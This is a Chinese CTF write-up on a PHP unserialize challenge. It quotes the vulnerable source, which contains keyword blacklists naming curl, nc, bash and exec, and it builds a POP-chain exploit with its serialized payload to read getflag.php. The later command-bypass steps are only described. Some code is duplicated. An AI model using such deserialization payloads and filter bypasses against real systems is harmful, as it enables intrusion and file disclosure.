前言
最近做了很多比赛的题目,而且都是我认为学的不错的PHP反序列化题目。但结果却是被暴打,现在新颖的题目类型,以及利用方法是都是我之前没有学到的。有些本应该会的题目也会因为粗心大意没有细心去解决问题。说多了,还是自己太菜了。咱们接下来上正菜。
正文
(以下的解题思路来自于末初大佬)
下面是题目的源代码
<?php
error_reporting(0);
<?php
error_reporting(0);
class begin{
public $file;
public $mode;
public $content;
public $choice;
public function __construct()
{
$this->file = "file";
$this->content = "content";
}
function __wakeup()
{
if($this->mode=="write"){
$this->choice= new write();
}
if($this->mode=="read"){
$this->choice= new read();
}
}
function __call($file,$content) {
highlight_file($this->file);
}
function __destruct(){
if($this->mode=="write"){
$this->choice->writewritetxt($this->file,$this->content);
}
else{
$this->choice->open($this->file);
}
}
}
class write{
public function writewritetxt($file,$content)
{
$filename=$file.".txt";
if(is_file($filename)){
unlink($filename);
}
file_put_contents($filename, $content);
echo "成功写入";
}
}
class read{
public $file;
public function __construct(){
$this->file="test.txt";
echo "欢迎查看 ".$this->file."<br/>";
}
function open($filename){
$file=$this->file;
if(is_file($file)){
if($file=="getflag.php"){
die("getflag.php没东西");
}
else{
highlight_file($file);
}
}else{
echo "文件不存在";
}
}
}
function check($dis_content){
if(preg_match('/system|eval|wget|exec|zip|passthru|netcat|phpinfo|`|shell|\(|\)/i', $dis_content)){
die("hack !!!");
}
}
$pop=$_GET['pop'];
if (isset($pop)) {
check($pop);
unserialize($pop);
} else {
highlight_file("index.php");
}
?>
class write{
public function writewritetxt($file,$content)
{
$filename=$file.".txt";
if(is_file($filename)){
unlink($filename);
}
file_put_contents($filename, $content);
echo "成功写入";
}
}
class read{
public $file;
public function __construct(){
$this->file="test.txt";
echo "欢迎查看 ".$this->file."<br/>";
}
function open($filename){
$file=$this->file;
if(is_file($file)){
if($file=="getflag.php"){
die("getflag.php没东西");
}
else{
highlight_file($file);
}
}else{
echo "文件不存在";
}
}
}
function check($dis_content){
if(preg_match('/system|eval|wget|exec|zip|passthru|netcat|phpinfo|`|shell|\(|\)/i', $dis_content)){
die("hack !!!");
}
}
$pop=$_GET['pop'];
if (isset($pop)) {
check($pop);
unserialize($pop);
} else {
highlight_file("index.php");
}
?>
我们可以看到在上面三个类中begin类是最有利用价值的,因为它拥有超多的魔法函数。
基于此我们要构造一个pop链
begin类调用open触发begin类的__call()然后利用__call()中的hightlight_file()查看getflag.php。
思路已出我们构造exp
<?php
error_reporting(0);
class begin{
public $file;
public $mode;
public $content;
public $choice;
public function __construct()
{
$this->file = "getflag.php";
$this->content = "content";
}
function __wakeup()
{
if($this->mode=="write"){
$this->choice= new write();
}
if($this->mode=="read"){
$this->choice= new read();
}
}
function __call($file,$content) {
highlight_file($this->file);
}
function __destruct(){
if($this->mode=="write"){
$this->choice->writewritetxt($this->file,$this->content);
}
else{
$this->choice->open($this->file);
}
}
}
$x = new begin();
$x->choice = new begin();
echo urlencode(serialize($x));
echo serialize($x);
?>
结果如下:
O%3A5%3A%22begin%22%3A4%3A%7Bs%3A4%3A%22file%22%3Bs%3A11%3A%22getflag.php%22%3Bs%3A4%3A%22mode%22%3BN%3Bs%3A7%3A%22content%22%3Bs%3A7%3A%22content%22%3Bs%3A6%3A%22choice%22%3BO%3A5%3A%22begin%22%3A4%3A%7Bs%3A4%3A%22file%22%3Bs%3A11%3A%22getflag.php%22%3Bs%3A4%3A%22mode%22%3BN%3Bs%3A7%3A%22content%22%3Bs%3A7%3A%22content%22%3Bs%3A6%3A%22choice%22%3BN%3B%7D%7D
然后就有下面的getflag.php部分
<?php
error_reporting(0);
$a=$_POST['a'];
$b=$_POST['b'];
if(preg_match('/cat|more|less|head|tac|tail|nl|od|vi|sort|cut|ping|curl|nc|grep|system|exec|bash|unique|find|popen|open|ls|rm|sleep|chr|ord|bin|hex|dict|#|`|\$|\<|\(|\[|\]|\{|\}|\)|\>|\_|\'|"|\*|;|\||&|\/|\\\\/is', $a)){
die("hack!!!!");
}
if(!preg_match('/[a-z]/is', $b))
{
die("big hack!!!!");
}
call_user_func($b,$a);
下面就基本上完全是末初大佬的思路了
首先是system绕过
然后是dir的用法(我之前以为dir命令只能在Windows下使用,属于是孤陋寡闻了。)
先是列一下当前的目录文件。
结果如下
这些文件里面那个_f_l_a_g.php是真的flag文件。因为下划线被ban了。
所以可以用通配符。(原文链接)
可以用如下方式进行文件读取
然后就是将上面这串字符反转就行了。